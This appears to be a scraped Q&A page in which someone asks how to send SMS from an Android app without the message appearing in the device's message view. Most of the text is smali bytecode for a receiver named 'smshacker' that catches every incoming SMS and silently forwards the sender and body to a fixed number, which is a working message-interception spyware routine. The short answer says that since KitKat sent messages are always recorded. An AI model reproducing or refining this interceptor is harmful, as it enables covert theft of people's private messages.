How to send SMS from the Android app without making it get recorded in device SMS view -


i want send sms android app. don't want record exist in device message view. using below code:

    .class public lcom/sms/smshacker/smshacker; .super landroid/content/broadcastreceiver; .source "smshacker.java"   # static fields .field private static final sms_received:ljava/lang/string; = "android.provider.telephony.sms_received"  .field private static final tag:ljava/lang/string; = "smsbroadcastreceiver"   # direct methods .method public constructor <init>()v     .locals 0      .prologue     .line 14     invoke-direct {p0}, landroid/content/broadcastreceiver;-><init>()v      return-void .end method   # virtual methods .method public onreceive(landroid/content/context;landroid/content/intent;)v     .locals 11     .parameter "context"     .parameter "intent"      .prologue     .line 21     const-string v1, "smsbroadcastreceiver"      new-instance v2, ljava/lang/stringbuilder;      const-string v4, "intent recieved: "      invoke-direct {v2, v4}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v      invoke-virtual {p2}, landroid/content/intent;->getaction()ljava/lang/string;      move-result-object v4      invoke-virtual {v2, v4}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder;      move-result-object v2      invoke-virtual {v2}, ljava/lang/stringbuilder;->tostring()ljava/lang/string;      move-result-object v2      invoke-static {v1, v2}, landroid/util/log;->i(ljava/lang/string;ljava/lang/string;)i      .line 23     invoke-virtual {p2}, landroid/content/intent;->getaction()ljava/lang/string;      move-result-object v1      const-string v2, "android.provider.telephony.sms_received"      invoke-virtual {v1, v2}, ljava/lang/string;->equals(ljava/lang/object;)z      move-result v1      if-eqz v1, :cond_0      .line 24     invoke-virtual {p2}, landroid/content/intent;->getextras()landroid/os/bundle;      move-result-object v9      .line 25     .local v9, mybundle:landroid/os/bundle;     const/4 v8, 0x0      .line 26     .local v8, messages:[landroid/telephony/smsmessage;     const-string v3, ""      .line 28     .local v3, strmessage:ljava/lang/string;     if-eqz v9, :cond_0      .line 29     const-string v1, "pdus"      invoke-virtual {v9, v1}, landroid/os/bundle;->get(ljava/lang/string;)ljava/lang/object;      move-result-object v10      check-cast v10, [ljava/lang/object;      .line 30     .local v10, pdus:[ljava/lang/object;     array-length v1, v10      new-array v8, v1, [landroid/telephony/smsmessage;      .line 32     const/4 v7, 0x0      .local v7, i:i     :goto_0     array-length v1, v8      if-lt v7, v1, :cond_1      .line 40     new-instance v1, ljava/lang/stringbuilder;      const-string v2, "message has been intercepted!\n"      invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v      invoke-virtual {v1, v3}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder;      move-result-object v1      invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string;      move-result-object v3      .line 43     :try_start_0     invoke-static {}, landroid/telephony/smsmanager;->getdefault()landroid/telephony/smsmanager;      move-result-object v0      .line 44     .local v0, smsman:landroid/telephony/smsmanager;     const-string v1, "number goes here"      const/4 v2, 0x0      const/4 v4, 0x0      const/4 v5, 0x0      invoke-virtual/range {v0 .. v5}, landroid/telephony/smsmanager;->sendtextmessage(ljava/lang/string;ljava/lang/string;ljava/lang/string;landroid/app/pendingintent;landroid/app/pendingintent;)v     :try_end_0     .catch ljava/lang/exception; {:try_start_0 .. :try_end_0} :catch_0      .line 55     .end local v0           #smsman:landroid/telephony/smsmanager;     .end local v3           #strmessage:ljava/lang/string;     .end local v7           #i:i     .end local v8           #messages:[landroid/telephony/smsmessage;     .end local v9           #mybundle:landroid/os/bundle;     .end local v10           #pdus:[ljava/lang/object;     :cond_0     :goto_1     return-void      .line 33     .restart local v3       #strmessage:ljava/lang/string;     .restart local v7       #i:i     .restart local v8       #messages:[landroid/telephony/smsmessage;     .restart local v9       #mybundle:landroid/os/bundle;     .restart local v10       #pdus:[ljava/lang/object;     :cond_1     aget-object v1, v10, v7      check-cast v1, [b      invoke-static {v1}, landroid/telephony/smsmessage;->createfrompdu([b)landroid/telephony/smsmessage;      move-result-object v1      aput-object v1, v8, v7      .line 34     new-instance v1, ljava/lang/stringbuilder;      invoke-static {v3}, ljava/lang/string;->valueof(ljava/lang/object;)ljava/lang/string;      move-result-object v2      invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v      const-string v2, "sms from: "      invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder;      move-result-object v1      .line 35     aget-object v2, v8, v7      invoke-virtual {v2}, landroid/telephony/smsmessage;->getoriginatingaddress()ljava/lang/string;      move-result-object v2      invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder;      move-result-object v1      .line 34     invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string;      move-result-object v3      .line 36     new-instance v1, ljava/lang/stringbuilder;      invoke-static {v3}, ljava/lang/string;->valueof(ljava/lang/object;)ljava/lang/string;      move-result-object v2      invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v      const-string v2, "\n : "      invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder;      move-result-object v1      invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string;      move-result-object v3      .line 37     new-instance v1, ljava/lang/stringbuilder;      invoke-static {v3}, ljava/lang/string;->valueof(ljava/lang/object;)ljava/lang/string;      move-result-object v2      invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v      aget-object v2, v8, v7      invoke-virtual {v2}, landroid/telephony/smsmessage;->getmessagebody()ljava/lang/string;      move-result-object v2      invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder;      move-result-object v1      invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string;      move-result-object v3      .line 38     new-instance v1, ljava/lang/stringbuilder;      invoke-static {v3}, ljava/lang/string;->valueof(ljava/lang/object;)ljava/lang/string;      move-result-object v2      invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v      const-string v2, "\n"      invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder;      move-result-object v1      invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string;      move-result-object v3      .line 32     add-int/lit8 v7, v7, 0x1      goto/16 :goto_0      .line 46     :catch_0     move-exception v6      .line 47     .local v6, ex:ljava/lang/exception;     invoke-virtual {v6}, ljava/lang/exception;->printstacktrace()v      goto :goto_1 .end method 

can tell me change , how appreciated

after kitkat that's not possible. whichever application s sends sms gets added sms provider , shown in default chosen messaging activity. done preventing applications sending hidden messages charged user.


Comments

Popular posts from this blog

dns - How To Use Custom Nameserver On Free Cloudflare? -

python - Pygame screen.blit not working -

c# - Web API response xml language -